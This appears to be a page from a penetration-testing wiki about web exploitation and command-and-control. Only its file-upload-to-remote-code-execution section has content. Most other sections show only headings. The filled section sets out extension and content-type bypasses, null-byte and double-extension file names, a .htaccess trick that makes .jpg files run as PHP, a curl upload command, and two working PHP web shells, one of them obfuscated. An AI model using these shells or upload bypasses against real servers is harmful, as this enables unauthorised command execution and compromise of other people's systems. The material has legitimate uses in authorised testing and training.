Web Exploits & C2
Overview
Remote Code Execution Chains
File Upload to RCE
# 1. Identify upload functionality
# Look for profile pictures, document uploads, import features
# 2. Test allowed extensions
# Try: .php, .php5, .phtml, .phar, .php.jpg, .php%00.jpg
# 3. Test content-type bypass
curl -X POST "https://target.com/upload" \
-F "[email protected];type=image/jpeg" \
-F "filename=shell.php"
# 4. Test double extensions
shell.php.jpg
shell.jpg.php
# 5. Test null byte (older systems)
shell.php%00.jpg
shell.php\x00.jpg
# 6. Test .htaccess upload (Apache)
# Upload .htaccess with:
AddType application/x-httpd-php .jpg
# Then upload shell.jpg
# Simple PHP webshell
<?php system($_GET['cmd']); ?>
# Obfuscated webshell
<?php $k="sy"."st"."em";$k($_GET['c']); ?>LFI to RCE
SSTI to RCE
Deserialization to RCE
XXE to RCE
SQLi to RCE
SSRF to RCE
C2 Framework Basics
Sliver (Open Source)
Havoc (Open Source)
Metasploit
Cobalt Strike Concepts
Establishing Persistence After RCE
Web Server Persistence
Database Persistence
Post-Exploitation Checklist
Resources
Last updated
Was this helpful?